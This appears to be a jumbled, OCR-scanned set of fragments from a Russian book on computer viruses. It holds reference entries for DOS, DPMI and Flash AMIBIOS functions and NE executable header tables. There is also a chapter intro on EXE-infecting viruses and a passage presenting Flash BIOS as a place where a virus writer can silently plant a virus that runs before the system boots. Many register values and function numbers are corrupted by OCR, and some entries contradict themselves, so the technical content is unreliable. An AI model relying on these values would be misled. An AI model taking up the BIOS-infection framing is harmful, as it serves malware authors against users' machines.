должна иметь доступную память, чтобы распределить ее под новые опи-
сатели. Функция 4Ah позволяет освободить память, чтобы она стала
доступной DOS.
Версии: DOS 3.30 и выше.

DOS, функция 68h Завершить файл


Вход:
AH=68h
ВХ - описатель завершаемого файла
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки
Описание.
Эта функция заставляет DOS сбросить (записать на диск) буфера ос-
новной памяти для указанного описателя файла. DOS обычно избегает
обмена с дисками, записывая данные в буфера в основной памяти до
заполнения сектора или закрытия файла. Эта функция заставляет DOS
немедленно записать данные на диск. Это ускоряет операции с базами
данных, позволяя приложению избежать неэффективного закрытия
и повторного открытия файлов.
Версии: DOS 3.3 и выше. В версиях DOS от 2.0 до 3.2 можно использо-
вать функцию DOS 45h, чтобы создать и затем закрыть дубликат.

DOS, функция OAh Ввод строки в буфер


Вход:
AH-OAh
DS:DX - адрес входного буфера (Таблица Б-1)
Таблица Б-1. Формат входного буфера.
Выход:
Буфер содержит введенные данные, в конце - символ CR (ASCII ODh)

DOS, функция OBh Проверка статуса ввода


Вход:
AH-OBh
Выход:
AL=FFh, если символ доступен со стандартного ввода
AL=OOh, если нет доступного символа
Описание.
Проверяет состояние стандартного ввода. При распознавании Ctrl-Break
выполняется INT 23h.
Примечания.
Используется перед функциями Olh, 07h и 08h, чтобы избежать ожида-
ния нажатия клавиши.
Эта функция дает простой неразрушающий способ проверки Ctrl-Break
в процессе длинных вычислений или другой обработки, обычно не тре-
бующей ввода. Это позволяет снимать счет по нажатию Ctrl-Break.

DOS, функция OCh Ввод с очисткой


Вход:
АН-ОСЬ
AL - номер функции ввода DOS:
AL=01h - ввод с клавиатуры
AL=06h - ввод с консоли
AL=°07h - нефильтрующий без эха
AL=08h - ввод без эха
AL=OAh - буферизованный ввод
Описание.
Очищает буфер опережающего ввода стандартного ввода, а затем вызы-
вает функцию ввода, указанную в AL. Это заставляет систему ожидать
ввод очередного символа.

DOS, функция ODh Сброс диска


Вход:
AH=ODh
Описание.
Сбрасывает диск (записывает на диск все файловые буферы). Файл,
размер которого изменился, должен быть предварительно закрыт (при
помощи функций 10h или 3Eh).

DOS, функция OEh Установить текущий диск DOS


Вход:
АН-ОЕЬ
DL - номер диска (0 - А, 1 - В и так далее), который становится теку-
щим
Выход:
AL - общее число дисководов в системе
Описание.
Диск, указанный в DL, становится текущим. Проверка: используется
функция 19h (дать текущий диск). В регистре AL возвращается число
дисководов всех типов, включая жесткие диски и "логические" диски
(как диск В: системе с одним гибким диском).
Примечание.
AL имеет то же значение, что и LASTDRIVE, указанное в файле
CONFIG.SYS, и по умолчанию равно 5.

DOS, функция OFh Открыть файл через FCB


Вход:
AH-OFh
DS:DX - адрес неоткрытого FCB (Таблица Б-2)
Выход:
AL=OOh, если функция выполнена успешно (FCB заполнен)
AL=FFh, если файл не найден или доступ к файлу не разрешен
Описание.
Файл, описываемый неоткрытым FCB, должен существовать в текущем
оглавлении на диске, специфицированном в FCB (0 - текущий, 1 - А,
2 - В и так далее). Если файл не существует, возвращается AL=OFFh.
Файл открывается в режиме совместимости. Если поле "Номер диска"
в FCB равно нулю в момент вызова, то оно заполняется номером теку-
щего дисковода (1 -А,2-Ви так далее). Поле FCB "Номер текущего
блока" устанавливается в ноль. Поле FCB "Размер логической записи"
устанавливается в 80h. Поля даты и размера файла в FCB устанавлива-
ются из оглавления.

DOS, функция OOh Завершить программу


Вход:
AH=OOh
CS - сегмент PSP завершающегося процесса
Описание.
Передает управление на вектор завершения в PSP (выходит в родитель-
ский процесс). Идентична функции INT 20h (Terminate). Регистр CS
должен указывать на PSP. Восстанавливает векторы прерываний DOS
22h-24h (Завершение, Ctrl-Break и Критическая ошибка), устанавливая
значения, сохраненные в родительском PSP. Выполняет сброс файло-
вых буферов. Файлы должны быть предварительно закрыты, если их
длина изменилась.
Примечание.
Данная функция не рекомендуется к использованию. Для выхода
из программы лучше использовать функцию DOS 4Ch.

DOS, функция ЗОИ Получить номер версии DOS


Вход:
AH=30h
Выход:
AL - старший номер версии
АН - младший номер версии
BL:CX - 24-битный серийный номер (большинство версий не поддер-
живают этот параметр)
\
Описание.
Возвращает в АХ значение текущего номера версии DOS. Например,
для DOS 3.20 в AL возвращается 03h, в АН - 14h.
Примечание.
Если в AL возвращается OOh, можно предполагать, что работает DOS
более ранней версии, чем DOS 2.0.
Версии: DOS 2.00 и выше.

DOS

6.20
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD

5.0
Точка 1 002А:40ЕВ 80FA
Точка 2 002А:410Е 1Е06
Точка 2А 002A:41D1 2ACD

DPMI, функция 0001k Освободить дескриптор из таблицы LDT


Вход:
AX=0001h
ВХ - селектор дескриптора, который нужно освободить
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Освобождает дескриптор из таблицы LDT, созданный функцией OOOOh.
Примечания.
Если нужно освободить несколько дескрипторов, то эту функцию нуж-
но вызвать для каждого из них в отдельности. С помощью этой функ-
ции программа может освободить только те дескрипторы, которые были
выделены данной программой.

DPMI, функция 0002Н Преобразовать сегмент в дескриптор


Вход:
AX=0002h
ВХ - сегментный адрес реального режима
Выход:
CF=0, если функция выполнена успешно
AX - селектор дескриптора для сегмента реального режима
CF=1, если при выполнении функции возникли ошибки
Описание.
Эта функция преобразует сегмент реального режима в дескриптор для
адресации к этому сегменту в защищенном режиме.
Примечания.
Если эта функция неоднократно вызывается для одного и того же сег-
мента реального режима, то она возвращает один и тот же селектор.
Дескрипторы, созданные этой функцией, не могут быть модифицирова-
ны или удалены.

DPMI, функция 0003k Получить приращение до следующего селектора

Вход:
AX=0003h
Выход:
CF=0 (эта функция всегда выполняется успешно)
AX - значение приращения до следующего селектора
Описание.
Возвращает приращение для вычисления следующего селектора в тех
функциях, которые могут возвращать более одного селектора.

DPMI, функция 0006h Получить базовый адрес сегмента по селектору

Вход:
АХ-ОООбЬ
ВХ - селектор
Выход:
CF=0, если функция выполнена успешно
CX:DX - 32-разрядный линейный базовый адрес указанного сегмента
CF=1, если при выполнении функции возникли ошибки
Описание.
Возвращает 32-разрядный базовый адрес сегмента по его селектору.

DPMI, функция 0007k Установить базовый адрес сегмента


Вход:
AX-OOOTh
ВХ - селектор сегмента, для которого нужно установить базовый адрес
CX:DX - 32-разрядный линейный базовый адрес
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Устанавливает 32-разрядный линейный базовый адрес указанного сег-
мента.
Примечания.
С помощью этой функции можно изменить базовый адрес только тех
сегментов, которые выделены функцией OOOOh. Старшие 8 бит (регистр
СН) базового адреса игнорируются в 16-разрядных версиях DPMI.

DPMI, функция 0008k Установить предел сегмента


Вход:
AX°0008h
ВХ - селектор сегмента, для которого надо установить предел
CX:DX - 32-разрядный предел сегмента
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Устанавливает 32-разрядный предел указанного сегмента.
Примечания.
С помощью этой функции можно изменить только предел сегментов,
выделенных функцией OOOOh. В 16-разрядных версиях DPMI предел
должен быть не более FFFFh. Если предел более 1Мбайт, то базовый
адрес сегмента должен быть выровнен по границе страницы (lOOOh),
а также младшие 12 бит предела должны быть равны нулю.

DPMI, функция 0009k Установить права доступа в дескрипторе


Вход:
AX-OOOQh
ВХ - селектор сегмента, для которого надо установить права доступа
CL - значение поля прав доступа
CF[ - расширенное значение поля прав доступа для i80386 и выше
(только в 32-разрядных DPMI)
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Устанавливает поле прав доступа в дескрипторе.
Примечания.
С помощью этой функции можно изменить только предел сегментов,
выделенных функцией OOOOh.

DPMI, функция 0100k Выделить блок памяти DOS


Вход:
AX=0100h
ВХ - количество параграфов (по 16 байт)
Выход:
CF=0, если функция выполнена успешно
AX - сегментный адрес выделенного блока памяти
DX - селектор выделенного блока памяти
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки DOS
ВХ - размер наибольшего доступного блока (в параграфах)
Описание.
Данная функция выделяет память из пула свободной памяти DOS.
Примечания.
Созданный этой функцией дескриптор не может быть изменен или
освобожден. В случае, если запрашивается памяти больше, чем 64Кбайт,
функция выделяет несколько дескрипторов. Для доступа к следующему
можно пользоваться функцией ОООЗЬ.

DPMI, функция 0101k Освободить блок памяти DOS


Вход:
AX°0101h
DX - селектор выделенного блока памяти
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки DOS
Описание.
Данная функция освобождает память DOS, выделенную функцией
OlOOh.
Примечания.
Все выделенные при выделении памяти дескрипторы освобождаются.

DPMI, функция 0102h Изменить размер блока памяти DOS


Вход:
АХ-0102П
ВХ - необходимый размер блока памяти
DX - селектор блока памяти
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
AX - код ошибки DOS
ВХ - размер наибольшего доступного блока (в параграфах)
Описание.
Данная функция изменяет размер памяти DOS, выделенной функцией
01 ООН.
Примечания.
Увеличение размера блока памяти часто может привести к ошибке, если
после данного блока был выделен другой блок, если размер увеличива-
емого блока больше 64Кбайт или если после дескриптора этого блока
памяти был выделен другой дескриптор.

DPMI, функция 0200Н Получить вектор прерывания реального режима

Вход:
AX=0200h
BL - номер прерывания
Выход:
CF-0
CX:DX - сегмент:смещение вектора прерывания реального режима
Описание.
Данная функция возвращает вектор прерывания реального режима.
Примечания.
Значение, возвращаемое в СХ - сегмент, не селектор. Попытки исполь-
зовать его как селектор приведут к исключению общей защиты памяти.

DPMI, функция 0201k Установить вектор прерывания реального режима

Вход:
AX°0201h
BL - номер прерывания
CX:DX - сегмент:смещение вектора прерывания реального режима
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция устанавливает вектор прерывания реального режима.
Примечания.
Значение в СХ должно быть сегментом, а не селектором.

DPMI, функция 0202k Получить вектор обработчика исключения процессора


Вход:
AX=0202h
BL - номер исключения (OOh-lFh)
Выход:
CF=0, если функция выполнена успешно
CX:(E)DX - селекторхмещение
CF=1, если при выполнении функции возникли ошибки
Значение, переданное в BL, некорректно
Описание.
Данная функция возвращает вектор обработчика исключения процессора.
Примечания.
Значение в СХ - селектор защищенного режима, а не сегмент реально-
го. В 32-битном режиме значение смещения возвращается в регистре
EDX.

DPMI, функция 0203k Установить вектор обработчика исключения процессора


Вход:
АХ-0203П
BL - номер исключения (OOh-lFh)
CX:(E)DX - селектор:смещение
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Значение, переданное в BL, некорректно
Описание.
Данная функция устанавливает вектор обработчика исключения про-
цессора.
Примечания.
Значение в СХ должно быть существующим селектором защищенного
режима, а не сегментом реального. В 32-битном режиме значение сме-
щения возвращается в регистре EDX.

DPMI, функция 0204h Получить вектор прерывания защищенного режима

Вход:
AX°0204h
BL - номер прерывания
Выход:
CF-0
CX:(E)DX - селектор:смещение
Описание.
Данная функция возвращает вектор обработчика прерывания защищен-
ного режима.
Примечания.
Значение в СХ - селектор защищенного режима, а не сегмент реального.
В 32-битном режиме значение смещения возвращается в регистре EDX.

DPMI, функция 0205k Установить вектор прерывания защищенного режима

Вход:
АХ-0204П
BL - номер прерывания
CX:(E)DX - селектор:смещение
Выход:
CF=0, если функция выполнена успешно
CF^l, если при выполнении функции возникли ошибки
Описание.
Данная функция устанавливает вектор обработчика прерывания защи-
щенного режима.
Примечания.
Значение в СХ должно быть существующим селектором защищенного
режима, а не сегментом реального. В 32-битном режиме значение сме-
щения возвращается в регистре EDX.

DPMI, функция 0300k Вызвать обработчик прерывания реального режима

Вход:
AX°0300h
BL - номер прерывания
ВН - флаги:
бит 0 - сбросить контроллер прерывания и адресную линию А20
биты 1-7 - зарезервированы и должны быть равны нулю
СХ - количество слов, которые надо скопировать из стека защищенно-
го режима в стек реального
ES:(E)DI - селектор:смещение структуры вызова реального режима
(Таблица Г-1)
Таблица Г-1. Формат структуры вызова реального режима.

Смещ. Описание
+00h EDI
+04h ESI
+08h EBP
+OCh Зарезервировано
+10h EBX
+14h EDX
+18h ECX
+lCh EAX
+20h Флаги
+22h ES
+24h DS
+26h FS
+28h GS
+2Ah IP
+2Ch CS
+2Eh SP
+30h SS

Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - селекторхмещение модифицированной структуры вызо-
ва реального режима
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция вызывает обработчик прерывания реального режима.
Примечания.
Поля CS и IP этой функцией игнорируются. Функция вызывает обра-
ботчик, адрес которого указан в таблице прерываний. Если поля SS и
SP равны нулю, то стек выделяется DPMI. 32-битные программы дол-
жны использовать ES:EDI для адресации структуры.

DPMI, функция 0400h Получить версию DPMI


Вход:
AX=0400h
Выход:
CF-0
АН - версия DPMI
AL - подверсия DPMI
BX - флаги:
Бит 0=1, если программа запущена под управлением DPMI
для 80386
Бит 1=1, если процессор вернулся в реальный режим для обработки
прерываний
Бит 2=1, если поддерживается виртуальная память
Бит 3 - зарезервирован и не определяется
Остальные биты зарезервированы для использования в будущем
и должны быть равны нулю.
CL - тип процессора:
CL-2 - 80286
CL=3 - 80386
CL-4 - 80486
DL - текущее значение базы первого контроллера прерываний
DH - текущее значение базы второго контроллера прерываний
Описание.
Данная функция возвращает версию DPMI.

DPMI, функция 0500k Получить информацию о свободной памяти


Вход:
AX-0500h
ES:(E)DI - селектор:смещение 30-байтного буфера
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - селектор:смещение, содержащий структуру
(Таблица Г-2).
CF°1, если при выполнении функции возникли ошибки
Описание.
Данная функция возвращает информацию о свободной памяти.
Примечания.
32-битные программы должны использовать ES:EDI для адресации бу-
фера. Только первое поле структуры гарантированно содержит правиль-
ное значение, остальные поля, в случае, если они не поддерживаются,
содержат OFFFFFFFFh (-1).
Таблица Г-2. Формат структуры информации о свободной памяти.

Смещ. Описание.
+00h Наибольший доступный блок (в байтах)
+04h Максимальное количество доступных незаблокированных страниц
+08h Максимальное количество доступных заблокированных страниц
+OCh Размер линейного адресного пространства в страницах
+10h Общее количество незаблокированных страниц
+14h Количество свободных страниц
+18h Общее количество физических страниц
+lCh Размер свободного линейного адресного пространства в страницах
+20h Размер страничного файла или раздела в страницах
+24h-2Fh Зарезервировано


DPMI, функция 0501k Выделить блок памяти


Вход:
AX=0501h
ВХ:СХ - размер блока свободной памяти, который нужно выделить
(в байтах)
Выход:
CF=0, если функция выполнена успешно
ВХ:СХ - линейный адрес выделенного блока памяти
SI:DI - индекс блока памяти (используется для изменения размера
и освобождения памяти)
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция выделяет блок памяти.
Примечания.
Данная функция не выделяет никаких дескрипторов.

DPMI, функция 0502k Освободить блок памяти


Вход:
AX=0502h
SLDI - индекс блока памяти
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция освобождает блок памяти.
Примечания.
Программа должна освободить все дескрипторы, которые были выделе-
ны для адресации этого блока памяти.

DPMI, функция 0503k Изменить размер блока памяти


Вход:
AX=0503h
ВХ:СХ - нужный размер блока памяти (в байтах)
SLDI - индекс блока памяти
Выход:
CF=0, если функция выполнена успешно
ВХ:СХ - новый линейный адрес выделенного блока памяти
SLDI - новый индекс блока памяти (используется для изменения
размера и освобождения памяти)
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция изменяет размер блока памяти, выделенного функци-
ей 0501h.
Примечания.
Данная функция может изменить линейный адрес и индекс блока памя-
ти. Программа должна изменить все дескрипторы, которые были выде-
лены для адресации этого блока памяти, а также для дальнейшей
работы с блоком использовать новый индекс. Эта функция выдаст
ошибку, если размер блока памяти будет нулевым.

DPMI, функция 0900h Получить состояние и запретить виртуальные прерывания


Вход:
AX°0900h
Выход:
CF=0
Виртуальные прерывания запрещены
AL=0 - виртуальные прерывания были запрещены
AL=1 - виртуальные прерывания были разрешены
Описание.
Данная функция возвращает текущее состояние виртуальных прерыва-
ний, а затем запрещает виртуальные прерывания.
Примечания.
Регистр АН не будет изменен этой функцией. Для возвращения вирту-
альных прерываний в прежнее состояние нужно выполнить INT 31h.

DPMI, функция 0901k Получить состояние и разрешить виртуальные прерывания


Вход:
AX°0901h
Выход:
CF=0
Виртуальные прерывания разрешены
AL=0 - виртуальные прерывания были запрещены
AL=1 - виртуальные прерывания были разрешены
Описание.
Данная функция возвращает текущее состояние виртуальных прерыва-
ний, а затем разрешает виртуальные прерывания.
Примечания.
Регистр АН не будет изменен этой функцией. Для возвращения вирту-
альных прерываний в прежнее состояние нужно выполнить INT 31h.

DPMI, функция 0902k Получить состояние виртуальных прерываний

Вход:
АХ°0902Ь
Выход:
CF-0
AL^O - виртуальные прерывания были запрещены
AL=1 - виртуальные прерывания были разрешены
Описание.
Данная функция возвращает текущее состояние виртуальных прерываний.

DPMI, функция OOOAh Создать алиасный дескриптор для сегмента кода

Вход:
AX-OOOAh
ВХ - селектор сегмента кода, для которого надо создать алиасный
дескриптор.
Выход:
CF=0, если функция выполнена успешно
AX - новый селектор данных
CF=1, если при выполнении функции возникли ошибки
Описание.
Создает дескриптор данных с таким же базовым адресом и пределом,
как у указанного сегмента кода.
Примечания.
Созданный этой функцией алиасный дескриптор можно удалить функ-
цией OOOlh.

DPMI, функция OOOBh Получить дескриптор


Вход:
AX=OOOBh
ВХ - селектор
ES:(E)DI - указатель на 8-байтный буфер, в который нужно скопиро-
вать дескриптор.
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - указатель на 8-байтный буфер, содержащий дескриптор
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция копирует элемент таблицы дескрипторов LDT, соот-
ветствующий указанному селектору, в 8-байтный буфер.
Примечания.
32-битные программы должны использовать ES:EDI для адресации бу-
фера, 16-битные - ES:DI.

DPMI, функция OOOCh Установить дескриптор


Вход:
AX-OOOCh
ВХ - селектор
ES:(E)DI - указатель на 8-байтный буфер, содержащий дескриптор
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция заносит содержимое 8-байтного буфера в элемент таб-
лицы дескрипторов LDT, соответствующий указанному селектору.
Примечания.
32-битные программы должны использовать ES:EDI для адресации бу-
фера, 16-битные - ES:DI. С помощью этой функции можно изменить
только те дескрипторы, которые выделены функцией OOOOh.

DPMI, функция OOODh Выделить дескриптор


Вход:
AX°OOODh
ВХ - селектор
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция выделяет дескриптор, соответствующий указанному
селектору.
Примечания.
Созданный этой функцией дескриптор можно удалить функцией 000 lh.

DPMI, функция OOOOh Выделить один или несколько дескрипторов в таблице LDT


Вход:
AX=OOOOh
СХ - количество дескрипторов, которые необходимо выделить
Выход:
CF=0, если функция выполнена успешно
AX - базовый селектор
CF=1, если при выполнении функции возникли ошибки
Описание.
Выделяет один или несколько дескрипторов в таблице LDT. Созданные
дескрипторы должны быть инициализированы создавшим их приложе-
нием.
Примечания.
Если создавалось более одного дескриптора, то регистр АХ содержит
селектор первого из них, и для получения приращения до следующего
селектора нужно воспользоваться функцией ОООЗЬ. Созданным дескрип-
торам будет установлен тип данных с нулевыми базовым адресом
и приращением.

ЕХЕ-ВИРУСЫ

В этой главе рассказано о ви-
русах, заражающих ЕХЕ-фай-
лы. Приведена классифика-
ция таких вирусов, подробно
рассмотрены алгоритмы их
работы, отличия между
ними, достоинства и недо-
статки. Для каждого типа
вирусов представлены исход-
ные тексты с подробными
комментариями. Также приве- .
дены основные сведения
о структуре и принципах ра-
боты ЕХЕ-программы.
СОМ-файлы (небольшие программы, написанные в основном на языке
Assembler) медленно, но верно устаревают. Им на смену приходят пуга-
ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею-
щие заражать ЕХЕ-файлы.

Flash AMIBIOS, подфункция 02h Сохранить текущее состояние чипа в подготовленной области


Вход:
AH-EOh
AL=02h
ES:DI - указатель на буфер для сохранения текущего состояния чипа
Выход:
AL-FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная подфункция сохраняет текущее состояние чипа в обозначенной
области данных и подготавливает чип к разрешению доступа в EPROM.
Примечание.
Необходимо сохранить текущее состояние кэш, управления электропи-
танием (Power Management), затенения (Shadow) и прочее. При нефа-
тальной ошибке будет возможно вернуть эти значения. Подготовка чипа
к работе с Flash EPROM включает в себя отключение затенения RAM,
внешнего и внутреннего кэш, управления электропитанием и так далее.
Необходимо сохранить эти значения перед началом операции. Отключе-
ние кэш позволит с полной уверенностью обращаться напрямую в ад-
ресное пространство ROM, не беспокоясь о том, что кэш может этому
помешать. Если нужное адресное пространство ROM кэшируется толь-
ко при включенном затенении "Shadow Enabled" (то есть кэшируется
только затененная RAM, а не ROM), отмена кэширования происходит
при отмене затенения RAM, и в данном случае отмены кэширования не
требуется. Если ROM кэшируется, то кэш необходимо отключить.
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 03h Восстановить состояние чипа


Вход:
AH-EOh
AL=03h
ES:DI - указатель на буфер, где хранится состояние чипа, которое
необходимо восстановить
Выход:
AL-FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная подфункция восстанавливает состояние чипа из области памя-
ти, в которую он был сохранен подфункцией 02h.
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 04h Понизить напряжение программирования (V )

Вход:
AH=EOh
AL°04h
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Понижает напряжение программирования (V ) до нормального уровня.
Необходима задержка для стабилизации напряжений.
ю*
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
06h "Защитить Flash от записи".
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 05h Повысить напряжение программирования (V )

Вход:
AH-EOh
AL=05h
Выход:
AL°FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Повышает V до уровня, необходимого для программирования (12В для
12-вольтовых Flash EPROM). Необходима задержка для стабилизации
напряжений.
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
07h "Разрешить запись во Flash".
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 06h Защитить Flash от записи


Вход:
AH-EOh
AL°06h
Выход:
AL-FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Делает Flash защищенным от записи. Необходима задержка для стаби-
лизации напряжений.
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
04h "Понизить напряжение программирования".
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 07h Разрешить запись во Flash


Вход:
AH=EOh
AL-07h
Выход:
AL=FAh
CF^O, если функция выполнена успешно
CF°1, если при выполнении функции возникли ошибки
Описание.
Эта функция разрешает писать во Flash.
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
05h "Повысить напряжение программирования".
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 08h Выбрать Flash


Вход:
AH-EOh
AL=08h
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Если на основной плате компьютера присутствуют и обычный, и Flash
EPROM, то выбирается Flash. Данная подфункция при необходимости
может обеспечить задержку для стабилизации. Если в использовании
данной подфункции нет необходимости (присутствует только Flash
EPROM), она возвращает значение "Успешное выполнение".
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция 09h Отменить выбранный Flash


Вход:
AH-EOh
AL=09h
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Отменяет выбранный подфункцией 08h Flash.
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция FFh Сгенерировать CPU Reset (рестарт процессора).

Вход:
AH°EOh
AL=FFh
Описание.
Генерирует CPU Reset (рестарт процессора).

Flash AMIBIOS, подфункция OAh Проверить доступ к адресам памяти


Вход:
AH=EOh
AL°OAh
ES - сегмент памяти для верификации
ВХ - количество требуемых параграфов памяти
Выход:
AL°FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Проверяет доступность указанной памяти. Подфункция необходима
в ситуации, если некоторые участки памяти недоступны вследствие от-
ключения кэш (80000-9FFFF может быть недоступна) и еще в некото-
рых случаях. Если в использовании данной подфункции нет необходи-
мости, она возвращает значение "Успешное выполнение".
Изменяемые регистры: AX, в случае ошибки ВХ=0

Flash AMIBIOS, подфункция OBh Сохранить состояние внутреннего кэш


Вход:
AH=EOh
AL=OBh
ES:DI - указатель на буфер для сохранения
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Сохраняет текущее состояние внутреннего кэш. Перед сохранением не-
обходима проверка на доступность внутреннего кэш для конкретного
железа. Буфер для сохранения должен быть не менее 16 байт. В случае
отсутствия внутреннего кэш выдается ошибка.
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция OCh Сохранить состояние внутреннего кэш


Вход:
AH=EOh
AL=OCh
ES:DI - указатель на буфер для сохранения
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Восстанавливает состояние внутреннего кэш, сохраненное подфункцией
OBh.
Примечание.
В защищенном режиме вызывает ошибку.
Изменяемые регистры: АХ

Flash AMIBIOS, подфункция Oih Получить требования к сохранению состояния чипа

Вход:
AH-EOh
AL=01h
10-1436
Выход:
AL-FAh
CF=0, если функция выполнена успешно
ВХ - размер области памяти (в байтах), необходимый для сохране-
ния текущего состояния чипа
CF=1, если при выполнении функции возникли ошибки
Описание.
Возвращает размер области памяти (в байтах), необходимый для сохра-
нения текущего состояния чипа.
Изменяемые регистры: АХ, ВХ

Flash AMIBIOS, подфункция ООН Получить номер версии интерфейса Flash BIOS


Вход:
AH=EOh
AL=OOh
Выход:
AL-FAh
CF=1 - интерфейс Flash-BIOS отсутствует
CF=0 - интерфейс Flash-BIOS присутствует
ВХ - номер версии в формате BCD
Описание.
Возвращает номер версии интерфейса Flash-BIOS в BCD-формате. На-
пример, версия 2.00 возвратит в ВХ число 0200h.
Примечание.
Эту функцию можно использовать для детектирования наличия интер-
фейса Flash-BIOS. При возврате регистр AL должен обязательно быть
равен FAh.
Изменяемые регистры: АХ, ВХ

Flash BIOS Новое место для вирусов


Flash-память - энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS - Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована - это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру - это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.

Формат таблицы ресурсов

(смещения относительно начала входа каж-
дого ресурса). Значения в диапазоне смещений 02-12h повторяются
в таблице до тех пор, пока величина по смещению 02h не станет равной
нулю. Значения в диапазоне от OAh до 12h повторяются столько раз,
сколько указано по адресу 04h.

Формат заголовка NE-executable ЕХЕ-файла


В состав старого заголовка входят:
- обычный ЕХЕ-заголовок (Таблица А-2);
- зарезервированная часть;
- указатель на новый заголовок (если в ЕХЕ-заголовке в начале таб-
лицы перемещаемых элементов - по смещению 18h - стоит 40h или
больше, то слово, расположенное по смещению 3Ch, содержит сме-
щение начала нового заголовка);
- DOS-программа (STUB).
В состав нового заголовка входят:
- инфоблок (Таблица А-3);
- таблица сегментов (Таблица А-4);
- таблица ресурсов (Таблица А-5);
- таблица резидентных имен;
- таблица ссылок на модули;
/
Таблица А-2. Формат обычного ЕХЕ-заголовка в NE-executable ЕХЕ-файпе.


Смещ.

Описание

+00h

HdrSize - длина заголовка в параграфах (по 16 байт)

+20h

Резерв

+3Ch

Смещение начала нового заголовка

+40h

DOS-программа (STUB)

Таблица А-3. Формат NE-заголовка.


Смещ.

Описание

+00h

Сигнатура NE-executable ('NE')

+02h

Версия редактора связей

+03h

Номер версии редактора связей

+04h

Смещение таблицы входов (относительно начала заголовка)

+06h

Длина таблицы входов (в байтах)

+08h

Зарезервировано: 32-битная контрольная сумма

+OCh

Набор флагов: (16 бит)

Бит 0

SINGLEDATA, в файле содержится только один сегмент данных.
Если файл является DLL, бит устанавливается редактором связей

Таблица А-3. Формат NE-заголовка. (Продолжение}


Смещ.

Описание

+OCh

Набор флагов: (16 бит)


Бит1

MULTIPLEDATA, в файле содержится несколько сегментов
данных. Независимо от этого формат файла NOAUTODATA,
и в нем нет автосегментов данных


Бит 2

Зарезервировано


БитЗ

Файл может быть загружен только в защищенном режиме


Бит 8

Содержится код, не совместимый с библиотеками MSWindows для
OS/2


Бит 9

Код, совместимый с библиотеками MS Windows


Бит 11

В первом сегменте содержится код, загружающий прикладную
программу

Бит 13

Файл был создан, несмотря на обнаруженные редактором связи
ошибки

Бит 14

Исполняемый файл размещается в EMS

Бит 15

Библиотечный модуль. При загрузке библиотеки CS:IP указывает
на процедуру инициализации, а регистр АХ равен определителю
модуля

+OEh

Число автосегментов данных: если SINGLEDATA равен нулю,
MULTIPLEDATA не указывается

+10h

Начальный размер (в байтах) локальной кучи. При ее отсутствии равен нулю

+12h

Начальный размер стека (в байтах). Равен нулю, если SS не равно DS,
как в библиотеках

+14h

CS:IP

+18h

SS:SP

+lCh

Число входов в таблице сегментов

+lEh

Число входов в таблице ссылок на модули

+20h

